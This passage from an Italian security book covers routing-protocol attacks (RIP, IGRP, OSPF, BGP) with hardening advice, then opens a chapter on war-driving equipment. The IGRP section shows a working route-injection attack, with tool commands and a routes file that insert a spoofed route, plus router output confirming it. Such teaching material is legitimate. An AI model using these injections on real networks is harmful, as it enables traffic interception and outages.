Come si vede nella Figura 9.8, il traffico generato da DIANE può essere facilmente reindirizzato attraverso un sistema dell'hacker (PAUL), prima di essere inviato alla sua destinazione lecita (FRASIER).

Figura 9.8
L'intercettazione RIP permette di intervenire facilmente a piacere sulla rete.

Contromisure alla contraffazione di pacchetti RIP

Di seguito elenchiamo alcune contromisure contro la contraffazione dei pacchetti RIP.

- Disattivate le funzioni RIP sui router. Il protocollo OSPF (*Open Shortest Path First*) dispone di un numero maggiore di meccanismi di sicurezza standard, che consentono di limitare le possibilità di contraffazione dei pacchetti RIP dell'hacker.
- Se possibile, respingete eventuali pacchetti RIP (porta TCP/UDP 520) su router esterni. Richiedete l'utilizzo solo di instradamenti statici.

IGRP

FX, che ha sviluppato IRPAS (*Interior Gateway Routing Protocol*), ha inviato un esempio di scansione AS con la nuova versione (non ancora rilasciata) 2.14 di "ass", in cui si mostra come le informazioni provenienti da ass (AS #10 e gli altri dati) siano state utilizzate con IGRP per inserire un instradamento contraffatto per 222.222.222.0/24. Secondo FX, attualmente IGRP non è molto sfruttato, ma l'esempio è certamente interessante. Pertanto includiamo di seguito i risultati di questi test, a costo di allontanarci dal tema principale del prosieguo di questo capitolo:

```
test# ./ass -mA -i eth0 -D 192.168.1.10 -b15 -v
ASS [Autonomous System Scanner] $Revision: 2.14 $
        (c) 2k FX <fx@phenoelit.de>
        Phenoelit (http://www.phenoelit.de)
No protocols selected; scanning all
Running scan with:
        interface eth0
        Autonomous systems 0 to 15
        delay is 1
        in ACTIVE mode

Building target list ...
192.168.1.10 is alive
Scanning ...
Scanning IGRP on 192.168.1.10
Scanning IRDP on 192.168.1.10
Scanning RIPv1 on 192.168.1.10
shutdown ...

>>>>>>>>>>>> Results >>>>>>>>>>>
192.168.1.10
  IGRP
        #AS 00010       10.0.0.0        (50000,1111111,1476,255,1,0)
  IRDP
        192.168.1.10    (1800,0)
        192.168.9.99    (1800,0)
  RIPv1
        10.0.0.0        (1)

test# ./igrp -i eth0 -f routes.txt -a 10 -S 192.168.1.254 -D 192.168.1.10
```

```
routes.txt:
# Format
# destination:delay:bandwith:mtu:reliability:load:hopcount
222.222.222.0:500:1:1500:255:1:0


Cisco#sh ip route
Codes: C - connected, S - static, I - IGRP, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
       E1 - OSPF external type 1, E2 - OSPF external type 2, E - EGP
       i - IS-IS, L1 - IS-IS level-1, L2 - IS-IS level-2, * - candidate
default
       U - per-user static route

Gateway of last resort is not set

     10.0.0.0/8 is variably subnetted, 2 subnets, 2 masks
C       10.1.2.0/30 is directly connected, Tunnel0
S       10.0.0.0/8 is directly connected, Tunnel0
C    192.168.9.0/24 is directly connected, Ethernet0
C    192.168.1.0/24 is directly connected, Ethernet0
I    222.222.222.0/24 [100/1600] via 192.168.1.254, 00:00:05, Ethernet0
```

OSPF

L'OSP (*Open Shortest Path First*) è definito nella RFC 2328 come un protocollo di routing IP basato su standard, progettato per superare i limiti dell'RIP. Poiché l'OSPF è un protocollo di routing a stato di link, esso invia pacchetti di aggiornamento noti come LSA (*Link State Advertisement*) a tutti gli altri router inseriti nella medesima area gerarchica. L'OSPF viene eseguito su Protocol 89 e dipende per le comunicazioni dal traffico multicast. Esistono numerose vulnerabilità grazie alle quali un aggressore può inviare a ripetizione pacchetti LSA modificati per avere una qualche probabilità di influenzare i dati di instradamento. L'OSPF funziona senza ricorrere all'autenticazione. Si raccomanda l'utilizzo delle password di testo in chiaro e MD5 supportate.

Noto come processo particolarmente complesso, l'OSPF è vulnerabile ad attacchi Livello 2 Man-In-The-Middle. Anche con l'utilizzo di password in testo ordinario, gli instradamenti OSPF possono essere modificati, con conseguente compromissione di intere comunità di utenti OSPF. Sono molte le opzioni disponibili per porre rimedio a questa vulnerabilità. La strategia di difesa deve sempre prevedere l'utilizzo dell'MD5 anziché del testo ordinario.

Per rendere meno vulnerabili le comunicazioni con gli utenti OSPF vicini, è consigliato l'utilizzo del NBMA (*Non Broadcast Multi Access*), come mostrato in seguito. Le modifiche dei vicini e gli aggiornamenti devono sempre essere registrati.

Router 1	Router 2
`ospf add interface TO-RS2` `to-area backbone type non-broadcast`	`spf add interface TO-RS1` `to-area backbone type non-broadcast`
`non-broadcast`	**`non-broadcast`**
`ospf add nbma-neighbor 10.0.0.2` `to-interface to-Router2`	`ospf add nbma-neighbor 10.0.0.1` `to-interface to-Router1`

BGP

Il BGPv4 (*Border Gateway Protocol versione 4*) è l'equivalente dell'EGP (*Exterior Gateway Protocol*) standard da cui dipende attualmente il funzionamento di Internet. BGP consente al sistema di instradamento interdomini di garantire automaticamente lo scambio senza loop di informazioni di instradamento tra due sistemi autonomi. Nel BGP, ogni instradamento è costituito da un percorso di sistema autonomo, rappresentato da attributi di percorso e identificatori di rete chiamati ASN (*Autonomous System Numbers*); per ulteriori informazioni sugli ASN visitate l'indirizzo `http://www.arin.net`. Poiché l'affidabilità di Internet dipende in gran parte dal BGP, alcuni hacker scelgono router BGP come bersaglio principale dei loro attacchi. Qualora un aggressore sia riuscito a compromettere un router con BGP attivato, egli potrà quantomeno fare un giro panoramico di tutta la rete. Data l'esistenza di questo rischio, in molte dorsali di reti di grandi dimensioni sono assunti degli specialisti destinati a lavorare specificamente sulla configurazione e sulla sicurezza di questi sistemi essenziali. Nelle reti di dimensioni piccole o medie questo non è possibile, per cui tali reti sono più facilmente soggette ad attacchi.

Per una panoramica generale sul BGP, visitate l'indirizzo `http://www.cisco.com/en/US/tech/tk648/tk365/tk80/tech_protocol_home.html`.

Il processo con cui si ottiene l'accesso a un router con BGP attivato è lo stesso per qualsiasi altro router citato in questo capitolo. Se il sistema è stato fortificato, questa operazione può risultare difficile, anche se in ogni sistema c'è sempre l'anello più debole della catena.

Esaminiamo ora alcuni dei tipi di attacchi maggiormente diffusi che assicurano l'accesso privilegiato.

Attacco	**Vantaggi**	**Svantaggi**	**Contromisure**
Telnet a forza bruta	Il numero di tentativi di connessione al secondo può essere elevato.	I tentativi fall.iti verranno registrati.	Limitare l'accesso a indirizzi IP di fiducia mediante le ACL. Ove possibile, utilizzare l'SSH.
SSH a forza bruta	I tentativi falliti non verranno registrati da un IDS.	Un processo a forza bruta relativamente più lento.	Limitare l'accesso mediante le ACL ai soli indirizzi IP di fiducia.
A forza bruta, mirato all'amministrazione del Web	I tool a forza bruta sono facilmente reperibili e di norma non mettono un IDS in allarme.	Di norma il Web server non è in funzione.	Disattivare i servizi Web.
Sniffing del traffico	Cattura le credenziali di login di SNMP e telnet.	Di solito è complesso. Se l'accesso fisico è possibile, è preferibile utilizzare tipi di attacchi meno difficili.	Monitorare i log per le inattività dell''interfaccia. Attuare misure più efficaci di protezione dell'hardware.
Read/Write SNMP	I tool SNMP a forza bruta sono facilmente utilizzabili e di solito più veloci di quelli a forza bruta agenti a livello di login.	Le stringhe Read/Write accessibili sono rare.	Non servirsi di RW SNMP. Filtrare e limitare l'utilizzo di SNMP.

Se è possibile ottenere l'accesso locale privilegiato, si può realizzare un'escalation dell'attacco. Tramite un processo a più stadi, può risultare più agevole sfruttare i punti vulnerabili.

Attacco	Vantaggi	Svantaggi	Contromisure
Third-party IP block announcement	Di solito non viene rilevato dal gestore del router.	Gli annunci possono essere limitati dal fornitore a monte.	Utilizzare sempre filtri degli annunci sia sul router a monte sia su quello locale.
Man In The Middle	Cattura remota di tutto il traffico di rete.	Rilevabile grazie al cambiamento del percorso di instradamento e della latenza; inoltre possono essere constatate modifiche della larghezza di banda.	Effettuare il monitoraggio remoto dei cambiamenti dei percorsi AS dei blocchi annunciati. Effettuare inoltre il monitoraggio dei vicini BGP.

L'obiettivo di molti attacchi è quello di manipolare il sistema, anziché di ottenere l'accesso privilegiato.

Iniezione di pacchetti BGP contraffatti

Diffusione:	*3*
Semplicità:	*1*
Impatto:	*10*
Fattore di rischio:	*3*

Cisco IOS 12.0 e versioni successive consentono agli aggressori remoti di provocare il crash del sistema o di introdurre aggiornamenti BGP non formati correttamente; per maggiori dettagli, consultare questi database sulle vulnerabilità:

- `http://online.securityfocus.com/bid/2733/info/`
- `http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0650`

Le vulnerabilità rispetto all'iniezione di pacchetti BGP sono particolarmente pericolose a causa delle penalizzazioni del BGP flapping ("sfarfallamento" delle interfacce BGP) utilizzate dalla maggior parte dei vicini. Si parla di BGP flapping quando l'interfaccia di un vicino BGP effettua la transizione da down, a up, poi a down e infine ancora a up in un periodo di tempo relativamente breve. Quando un sistema BGP smette di funzionare, le informazioni di instradamento cambiano, per cui devono essere propagate a tutti i sistemi BGP in ogni parte del mondo. Se le modifiche avvengono troppo rapidamente, si possono verificare instabilità nella tabella di routing globale, con conseguente creazione di incoerenze a livello mondiale.

Per proteggere Internet da questo effetto devastante, sono state implementate alcune contromisure in tutto il mondo. Se un'interfaccia BGP "sfarfalla", non sarà accettata alcuna informazione di instradamento proveniente dalla rete difettosa per un periodo di tempo predefinito. Durante questo periodo di tempo, non verrà accettato alcun traffico proveniente dai blocchi IP annunciati della rete penalizzata, per cui si avrà un'interruzione totale. Se un aggressore è in grado di provocare ripetutamente il crash di un router, le penalizzazioni del flapping possono provocare un DoS per un periodo di tempo lungo, con effetti disastrosi.

L'iniezione di pacchetti BGP contraffatti è complessa. Sono disponibili unicamente due metodi di protezione in grado di contrastare questo tipo di attacco. Quando viene attivata una sessione BGP, si crea un numero sequenziale TCP semicasuale. Indovinare questo numero, che aumenta continuamente, può risultare difficoltoso; ma di norma questo è l'unico metodo per prevenire il possibile danno. La seconda misura di sicurezza, l'utilizzo di una password BGP condivisa, è facilmente implementabile e rende ancora più difficoltoso questo tipo di attacco. Tuttavia essa viene spesso sconsigliata dai fornitori a monte.
Un "pari" BGP locale ha la possibilità di influenzare la vostra tabella BGP. Questo è un privilegio che viene trascurato. Ogni router dispone di una quantità limitata di memoria. I pari diretti possono provocare il crash del vostro router iniettando un numero eccessivo di instradamenti. Se ogni ip è stato annunciato come /24 (24 bit di subnet, più comunemente noti come maschera di subnet Classe C), la maggior parte dei router non dispone delle risorse necessarie a popolare una tabella BGP costituita da 65.536 voci e si bloccherà, provocheranno un arresto completo, o si riavvierà (la qual cosa può provocare il flapping con tutti gli altri vicini).
Rob Thomas (`robt@cymru.com`) è il curatore di una delle più popolari guide sul rafforzamento dei sistemi BGP (`http://www.cymru.com/Documents/secure-bgp-template.html`). È essenziale consultare il suo sito e altri newsgroup per accedere a informazioni complete e aggiornate. Segue un sommario di alcune delle principali funzionalità che vengono regolarmente trascurate.

`no synchronization`	L'utilizzo di questo comando impedirà agli IGP di rallentare BGP.
`no bgp fast-external-fallover`	Impedisce la caduta di sessioni BGP quando i keepalive minimi non vengono rilevati.
`bgp log-neighbor-changes`	Registrate sempre le modifiche ai router, specie quelle riguardanti BGP.
`neighbor 10.10.10.1` **`password`**	Utilizzate sempre password BGP, anche se il provider a monte è contrario o i vicini BGP sono connessi direttamente. Questo è semplicemente un esempio di una corretta politica di sicurezza.
`neighbor 10.10.10.1 prefix-list filterlist_bogons in`	Ricordatevi di bloccare la lista dei "megabogus" (pacchetti contraffatti; da bogus = fraudolento) di Rob Thomas e qualsiasi blocco IP che annunciate.
`neighbor 10.10.10.1 prefix-list announce out`	Per la sicurezza di altri pari, limitate i vostri annunci diretti all'esterno ai soli blocchi di cui siete il proprietario.
`neighbor 10.10.10.1 maximum-prefix 125000`	Per proteggere il sistema dall'overflow di memoria, limitate il numero di prefissi accettati. L'impostazione di una soglia di avvertimento è una buona idea, ma non viene utilizzata in questo esempio.

`access-list 123 permit tcp host (bgp peer ip) host (local router ip) eq 179`
`access-list 123 permit tcp host (local router ip) eq bgp host (bgp peer ip)`
`access-list 123 deny ip any host local router ip) log`
	Proteggete le interfacce del router, specie la porta BGP TCP. Porre restrizioni su tutto il traffico destinato al router è una politica di alta sicurezza consigliabile, ma potrebbe non essere applicabile in ogni tipo di rete.

La suddetta lista dei bogus è una lista dei blocchi di indirizzi IP di dimensioni maggiori non annunciati globalmente. Essa per motivi di spazio non sarà inclusa in questo capitolo. Non c'è alcun motivo per cui gli IP riportati su questa lista debbano essere considerati una fonte di traffico legittimo. È una buona idea registrare le eliminazioni dovute ai filtri dei bogus perché questa registrazione può segnalare gli allarmi provocati da un aggressore che esegue client DoS contraffatti, o da filtri di firewall eventualmente difettosi.
Si consiglia anche la protezione dal BGP flapping per assicurare la coerenza delle tabelle BGP. È preferibile ricorrere al dampening bilanciato dei flap in base alla dimensione del prefisso, che non bloccherà eccessivamente reti di grandi dimensioni. Ricordatevi di includere specifici blocchi che possono provocare danni se bloccati. Per esempio, i blocchi IP dei server root DNS non devono essere bloccati; essi infatti sono inclusi nel gruppo di interdizione mostrato di seguito (per conoscere il loro elenco, consultate il Secure BGP Template):

```
ip prefix-list long description Prefixes of /24 and longer.
ip prefix-list long seq 5 permit 0.0.0.0/0 ge 24
ip prefix-list medium description Prefixes of /22 and /23.
ip prefix-list medium seq 5 permit 0.0.0.0/0 ge 22 le 23
ip prefix-list short description Prefixes of /21 and shorter.
ip prefix-list short seq 5 permit 0.0.0.0/0 le 21
route-map graded-flap-dampening deny 10
 match ip address prefix-list rootservers
route-map graded-flap-dampening permit 20
 match ip address prefix-list long
 set dampening 30 750 3000 60
route-map graded-flap-dampening permit 30
 match ip address prefix-list medium
 set dampening 15 750 3000 45
route-map graded-flap-dampening permit 40
 match ip address prefix-list short
 set dampening 10 1500 3000 30Danpening
```

Il monitoraggio dei vicini BGP può essere effettuato agevolmente con il seguente comando. Ogni eliminazione di una connessione deve essere documentata. La porta locale di un vicino che ha inviato una richiesta iniziale di sessione cambierà, a seconda di quale vicino si tratti, ma avrà sempre un numero di porta superiore a 1024 (porta 11001, nell'esempio seguente). La limitazione del traffico basato su questa porta è quantomeno una soluzione banale e non è consigliabile:

```
CORE#show ip bgp neighbor 69.10.130.125
BGP neighbor is 69.10.130.125,  remote AS 701, external link
 Description:
  BGP version 4, remote router ID 69.10.130.125
  BGP state = Established, up for 130d12h
  Last read 00:00:18, hold time is 180, keepalive interval is 60 seconds
  Neighbor capabilities:
    Route refresh: advertised and received(old & new)
    Address family IPv4 Unicast: advertised and received
  Received 76667371 messages, 0 notifications, 0 in queue
  Sent 2351384 messages, 0 notifications, 0 in queue
  Route refresh request: received 0, sent 0
  Default minimum time between advertisement runs is 30 seconds
```

```
 For address family: IPv4 Unicast
  BGP table version 2533039, neighbor version 2532932
  Index 1, Offset 0, Mask 0x2
  115504 accepted prefixes consume 4158144 bytes
  Prefix advertised 478764, suppressed 0, withdrawn 307110
  Number of NLRIs in the update sent: max 295, min 0

 Connections established 36; dropped 20
 Last reset 3d12h, due to Interface flap
Connection state is ESTAB, I/O status: 1, unread input bytes: 0
Local host: 69.10.130.126, Local port: 11001
Foreign host: 69.10.130.125, Foreign port: 179
```

Per informazioni aggiornate sulla sicurezza delle reti, il BGP e le influenze sull'instradamento globale potete fare riferimento ai newsgroup elencati nella tabella seguente.

NANOG	`http://www.nanog.org/mailinglist.html`
isp-security	`http://isp-lists.isp-planet.com/isp-security/`
isp-routing	`http://isp-lists.isp-planet.com/isp-routing/`
cisco-nsp	`http://puck.nether.net/mailman/listinfo/cisco-nsp`

Capitolo 10

Hacking delle reti wireless

La tecnologia wireless ha fatto il suo esordio negli Stati Uniti più di 60 anni addietro, a cavallo tra la prima e la seconda guerra mondiale; tuttavia, dati i timori relativi ai rischi per la sicurezza nazionale, essa fu inizialmente destinata solo ad applicazioni militari. Attualmente, i computer wireless si stanno diffondendo sul mercato a un ritmo vertiginoso; contemporaneamente, e con uguale rapidità, si tende all'esasperazione tecnologica, si sviluppano nuove funzionalità e nascono sempre nuovi problemi di vulnerabilità associati al wireless. Nel 1999 sono stati distribuiti nel mondo circa 1,4 milioni di trasmettitori-ricevitori per reti locali wireless (WLAN); appena un anno dopo, nel 2000, il loro numero si è quasi quadruplicato, raggiungendo i 4,9 milioni; inoltre si prevede un'ulteriore crescita fino al 2006, anno in cui è prevista la distribuzione di 56 milioni di trasmettitori-ricevitori per WLAN. Questo tasso di crescita, secondo le recenti previsioni di Allied Business Intelligence, corrisponde a un mercato potenziale di 4,5 miliardi di dollari.
Le reti 802.11 wireless non devono essere confuse con le loro cugine Bluetooth, sviluppate da un consorzio di imprese comprendente tra l'altro Ericsson, Motorola e Microsoft. Attualmente, le reti 802.11 trasmettono sulle bande a 2 GHz e 3 GHz, ma si sta procedendo allo sviluppo e alla creazione di prototipi in grado di funzionare sulla banda a 5 GHz. Visti i tempi di sviluppo relativamente ridotti e date le caratteristiche della specifica iniziale dei protocolli 802.*x* e dell'algoritmo WEP (*Wired Equivalent Privacy*), sono stati sviluppati e messi in circolazione numerosi tipi di attacchi, crack e tool facili da utilizzare, mettendo in difficoltà tali pionieri dell'innovazione tecnologica.
In questo capitolo, tratteremo dei problemi di sicurezza più importanti, delle contromisure e delle tecnologie fondamentali sino a oggi identificate e note al pubblico nel settore dell'802.11, adottando la visuale della metodologia standard degli attacchi che abbiamo delineato in precedenza nel libro: footprinting, scansione, enumerazione, penetrazione e Denial of Service. Poiché le caratteristiche degli attacchi riguardanti la tecnologia wireless sono piuttosto differenti rispetto a quelle degli attacchi ai dispositivi cablati, la nostra metodologia includerà le fasi di scansione ed enumerazione in un unico sistema compatto.
Parleremo dei tool e delle tecniche più innovative che gli hacker utilizzano durante le loro scorribande di war-driving per identificare reti wireless, utenti e protocolli di autenticazione, oltre che delle tattiche di penetrazione per abbattere le difese dei dati di autenticazione protetti e per "scassinare" le reti WLAN configurate in modo inadeguato. Inoltre, descriveremo numerose configurazioni di fornitori e vari tool

third-party, in modo da consentire agli amministratori dei siti di rendere più efficiente la loro strategia di difesa degli utenti e fortificare le reti wireless a essi affidate.
Al termine di questo capitolo, sarete in grado di progettare, implementare e utilizzare un moderno sistema di war-driving che consenta di eseguire la maggior parte dei tipi di attacchi recenti contro reti wireless, nonché di implementare un'efficace strategia difensiva.

Footprinting in ambiente wireless

Le reti wireless e i punti di accesso (AP) sono alcuni dei tipi di bersagli su cui è più facile ed economico effettuare il footprinting (o il "war-driving") e dove, ironicamente, il rilevamento di tali attività e le relative indagini risultano più complesse. In passato, per praticare il war-driving era sufficiente configurare un laptop, una scheda wireless e un network stumbler (l'utility NetStumbler). Attualmente si tende invece a utilizzare configurazioni maggiormente complesse dotate di diversi tipi di antenne a potenza elevata, schede wireless e dispositivi palmari, tra cui i popolari iPAQ e Palm.
Utilizzeremo il termine "war-driving" in modo generico nel campo della metodologia di hacking e del "footprinting", sottintendendo soprattutto che non è necessario mettersi al volante di un'auto. Potete aggirarvi a piedi in un parco tecnologico, un'area del centro, o semplicemente percorrere i corridoi del vostro edificio con il laptop al seguito se state effettuando un auditing interno. Il footprinting dei dispositivi wireless, in particolare degli AP, ha inizio con la loro localizzazione tramite il metodo passivo di ascolto dei broadcast beacon emessi dagli AP, oppure utilizzando un metodo più aggressivo, che consiste nel trasmettere client beacon in attesa di risposte degli AP. Potete effettuare il footprinting remoto di una WLAN, purché vi troviate a una distanza sufficiente a ricevere o trasmettere beacon e pacchetti dall'/all'AP. Premesso questo, risultano evidenti i vantaggi che derivano dall'utilizzo di un'antenna migliore di quella che generalmente viene fornita con la scheda all'atto dell'acquisto.
Come vedrete, disporre di un hardware opportuno può risultare determinante ai fini del successo del footprinting di una WLAN. Esistono numerosi tipi di schede wireless, con diversi chipset. In alcune schede è possibile attivare la modalità promiscua (cioè effettuare lo sniffing del traffico), in altre non esiste questa possibilità. Inoltre, alcune schede forniscono prestazioni intrinsecamente superiori, poiché supportano diversi sistemi operativi. Infine, altri due fattori caratterizzano l'efficacia di un'apparecchiatura: la potenza e la direzionalità dell'antenna. Sarà opportuno utilizzare un'antenna omnidirezionale se state guidando per strade affollate e un'antenna direzionale se state esplorando un determinato edificio, luogo o AP. Occorre infine accennare al GPS (*Global Positioning System*). L'aggiunta del GPS alla lista delle vostre apparecchiature si rivelerà una soluzione eccellente se desiderate localizzare gli AP, verificarne la portata in trasmissione e avere la possibilità di ricontrollarli in futuro.

Apparecchiature

Oltre al software occorrente, sarà necessario disporre di alcuni tipi di apparecchiature per effettuare una parte degli attacchi illustrati. Come avrete modo di constatare, le schede wireless, le antenne e i dispositivi GPS sono decisivi per il successo dei vari tipi di attacchi e per determinare la distanza alla quale sarà possibile effettuarli.

Schede

Attenzione, le schede wireless non sono tutte uguali. È importante conoscere i requisiti e le limitazioni delle schede che pensate di utilizzare. Alcune schede causano un consumo di corrente superiore, sono meno sensibili e non sono dotate di jack per il collegamento di un'antenna supplementare che consenta di avere una portata maggiore. Sappiate inoltre che i tempi delle operazioni necessarie per predisporre la scheda con particolari sistemi operativi variano notevolmente in base al sistema operativo in questione. Se, per esempio, scegliete di utilizzare Linux o BSD, dovete ricompilare i kernel con gli opportuni driver pcmcia-cs, il che potrebbe non essere agevole per chi sia poco esperto di sistemi UNIX. Viceversa, Windows presenta un numero notevolmente inferiore di problemi per quanto riguarda la configurazione, ma in tale ambiente è disponibile un numero minore di tool, attacchi e tecniche utilizzabili dalla consolle Win32.

AiroPeek NX è l'unico sniffer wireless di cui valga la pena parlare a proposito dell'ambiente Windows. NetStumbler, un tool che spesso viene erroneamente considerato uno sniffer wireless, si limita a effettuare il parsing degli header dei pacchetti wireless e utilizza una GUI opportunamente progettata per il reporting in tempo reale dei dati di posizione e identificazione degli AP e di qualche altra informazione. L'applicazione AiroPeek NX supporta la cattura dei pacchetti tramite 802.11a e 802.11b; essa inoltre supporta la navigazione nei canali di nazioni diverse dagli USA. Negli Stati Uniti è stato stabilito che le reti wireless 802.11 possono utilizzare i canali dall'1 all'11 per le comunicazioni; tuttavia in altri Paesi sono comunemente utilizzati anche i canali dal 12 al 24. Se siete soliti viaggiare di frequente, troverete interessante sapere che AiroPeek NX dispone di una caratteristica particolarmente utile: è in grado di supportare tutti e 24 i canali. Il link mostrato nella tabella consente di accedere a una lista completa delle schede supportate dalla suite AiroPeek NX.

Compatibilità driver di sniffer per WLAN Windows	`http://www.wildpackets.com/support/hardware/airopeek_nx`

Il sistema operativo maggiormente supportato per quanto riguarda i tool per attacchi wireless, driver e sniffer è di gran lunga Linux. Il mondo di Linux ha investito molto tempo e risorse nello sviluppo di una serie di driver PCMCIA (pcmcia-cs) compatibili con la maggior parte delle versioni dei vari fornitori del chipset 802.11b Prism2. Abbiamo già accennato al fatto che occorre compilare questi driver inserendoli nel kernel.

L'installazione dei driver è piuttosto semplice e incredibilmente simile all'installazione della maggior parte delle altre applicazioni e driver basati su Linux. Le istruzioni di installazione seguenti sono aggiornate per la versione 3.2.3 dei driver pcmcia-cs. Ovviamente, qualora sia stata rilasciata una versione successiva e cerchiate di installarla, dovrete cambiare il numero di versione nelle strutture dei nomi dei file e delle directory. Potete scaricare i driver pcmcia-cs aggiornati all'indirizzo `http://sourceforge.net/project/showfiles.php?group_id=2405`.

Di seguito è elencata la procedura per l'installazione.

1. Estraete con `untar` i file `pcmcia-cs-3.2.3.tar.gz`, memorizzandoli in */usr/src*.
2. Eseguite `make config` in */usr/src/pcmcia-cs-3.2.3/*.
3. Eseguite `make all` da */usr/src/pcmcia-cs-3.2.3/*.
4. Eseguite `make install` da */usr/src/pcmcia-cs-3.2.3/*.

Dovrete probabilmente personalizzare il vostro script di startup e i file delle opzioni contenuti nella directory */etc/pcmcia* in funzione della vostra WLAN, della configurazione del sistema, o del tipo di rete da colpire.
Troverete certamente i driver occorrenti per la scheda con una rapida ricerca su Google.com; in ogni caso, la tabella seguente elenca alcuni dei siti migliori cui accedere per scaricare i driver per la vostra scheda wireless per Linux. Come si vede, essi sono divisi per chipset.

Orinoco	`http://airsnort.shmoo.com/orinocoinfo.html`
Prism2	`http://www.linux-wlan.com/linux-wlan/`
Cisco	`http://airo-linux.sourceforge.net/`

Si presenta un ultimo problema (ultimo ma decisamente non meno importante): quello dei driver per tutti gli utenti che prediligono il nuovo kernel OpenBSD sui laptop Mac (o su qualsiasi altro laptop su cui sia caricato OpenBSD). Il kernel di OpenBSD è molto simile a quello di Linux per quanto riguarda le procedure occorrenti per configurare e far funzionare il sistema in una modalità wireless, in particolare nella modalità wireless promiscua. Di seguito viene segnalato un buon link a un sito da cui è possibile accedere a driver e altre informazioni sui tool BSD.

Driver wireless OpenBSD	`http://www.dachb0den.com/projects/source-mods.html`

Antenne

Sappiate che l'individuazione e installazione del tipo più opportuno di antenna può rivelarsi il compito più impegnativo nella messa a punto della vostra apparecchiatura per il war-driving. Dovete per prima cosa decidere a quale tipo di war-driving vi dedicherete (Figura 10.1). Opererete in una metropoli quale New York, Boston o San Francisco, o magari intendete esplorare un'area meno popolata? Occorre valutare questi fattori prima di decidere quale antenna verrà utilizzata.

Figura 10.1
Tipiche antenne per war-driving.

Per comprendere a fondo le differenze tra i vari tipi di antenne, sono necessarie alcune nozioni di base sulla tecnologia delle antenne. Il primo concetto da comprendere, quello più importante, è la direzionalità dell'antenna; da questo punto di vista, le antenne possono essere classificate in tre tipi: direzionali, multidirezionali e omnidirezionali. In genere, le antenne direzionali sono utilizzate quando si comunica con aree specifiche e non risultano particolarmente efficaci per il war-driving (qualora stiate effettivamente guidando un'auto). Viceversa, le antenne direzionali sono quelle più efficaci nel caso della cattura dei pacchetti a lunga distanza, poiché la potenza e le onde radio sono focalizzate in un'unica direzione. Le antenne multidirezionali sono simili a quelle direzionali: in entrambi i casi si utilizzano fasci di onde notevolmente concentrati. Generalmente, le antenne multidirezionali sono bidirezionali (configurazione fronte-retro) o quadrangolari; di solito la loro portata, a parità di potenza, è alquanto inferiore rispetto alle antenne unidirezionali, poiché la potenza viene ripartita in varie direzioni. Infine, le antenne omnidirezionali sono quelle che corrispondono maggiormente all'idea che si ha in genere di un'antenna. Un'antenna omnidirezionale è quella più efficace nel war-driving nei centri urbani, poiché trasmette e riceve segnali in/da tutte le direzioni, assicurando in questo modo la massima copertura angolare. Un esempio di antenne omnidirezionali è costituito dalle antenne per le autoradio delle autovetture.
Ora che conoscete la terminologia relativa alle antenne direzionali, è opportuno che impariate a conoscere alcuni tipi di antenne comuni e a distinguere una buona antenna da una scadente. Un altro termine del mondo wireless, "guadagno", è utilizzato per descrivere l'energia irradiata da un'antenna con il fascio focalizzato in una determinata direzione. Per tutte le antenne dei trasmettitori-ricevitori si parla di guadagno in almeno due direzioni: la direzione in cui inviano dati e la direzione in cui li ricevono. Se intendete comunicare su lunghe distanze, dovete scegliere un'antenna con un fascio molto concentrato e a guadagno elevato; se, viceversa, la distanza è minore, la vostra scelta dovrà cadere su un'antenna con un fascio disperso e a basso guadagno (omnidirezionale).
Pochissime antenne sono completamente monodirezionali, poiché queste servono generalmente per le comunicazioni tra due dispositivi entrambi fissi. Un esempio diffuso di antenna monodirezionale è quello costituito da un ponte radio per le comunicazioni tra due edifici. Un'antenna yagi è costituita da una combinazione di piccole antenne orizzontali, che consente di ottenere un fascio maggiormente focalizzato. Un'antenna patch o a pannello antenna dispone di un fascio ampio, correlato direttamente alle dimensioni del pannello; essa è costituita da una superficie planare: la potenza viene quindi concentrata in un'unica direzione. La parabola è un altro tipo di antenna utilizzabile, ma è adatta unicamente ai dispositivi che devono trasmettere in un sola direzione, poiché la parte posteriore della parabola non è l'ideale per trasmettere o ricevere segnali. Per fini pratici, vi sarà probabilmente molto utile un'antenna omnidirezionale con un angolo di copertura ampio e basso guadagno, che sia facilmente collegabile alla scheda wireless e che non richieda un alimentatore supplementare.
Esistono numerosi fornitori e distributori che dispongono di apparecchiature appropriate per il war-driving. Riportiamo i nomi di alcune delle aziende da noi preferite, ciascuna delle quali è in grado di fornire alcuni degli elementi che vi occorrono; occorre però segnalare che Wireless Central è famosa per i suoi "sistemi completi per war-driving" e HyperLinkTech è rinomata per le sue antenne ad alta potenza e lunga portata.

HyperLinkTech	`http://www.hyperlinktech.com`
Wireless Central	`http://www.wirelesscentral.net`
Fleeman, Anderson, and Bird Corporation	`http://www.fab-corp.com/`

GPS

Un GPS nel mondo wireless è l'equivalente di un tool o un'applicazione di mapping utilizzata nelle valutazioni delle reti cablate (vedi Figura 10.2). La maggior parte dei dispositivi GPS interagisce con il software per war-driving tramite raffronti degli indicatori data e ora. Il software del GPS effettua una registrazione in tempo reale della posizione del dispositivo in un semplice file di testo, associando le coordinate (longitudine e latitudine) con gli indicatori data e ora corrispondenti. Questi file di testo sono facilmente importabili in diversi software di mapping, utilizzabili per creare accurate mappe a colori dei punti di accesso identificati e dei rispettivi raggi di copertura.

Figura 10.2
Unità GPS.

Le unità GPS sono relativamente facili da acquistare e installare sul laptop, specie se siete utenti Windows. Esistono numerosi fornitori e la maggior parte dei dispositivi disponibili sono relativamente simili dal punto di vista delle tecnologie incorporate al loro interno. Le differenze principali tra prodotti offerti da diversi fornitori riguardano l'aspetto esteriore e il software fornito in dotazione a tali prodotti. I migliori software sono caratterizzati dalla presenza di un numero soddisfacente di mappe di zone rurali e delle periferie della città, di cartine stradali aggiornate e, cosa più importante, di un'eccellente algoritmo per il calcolo della direzione. Tutte queste caratteristiche risulteranno preziose quando cercherete di definire gli itinerari di war-driving per essere certi di non percorrere la stessa strada, nonché quando eseguirete il mapping di aree molto vaste.
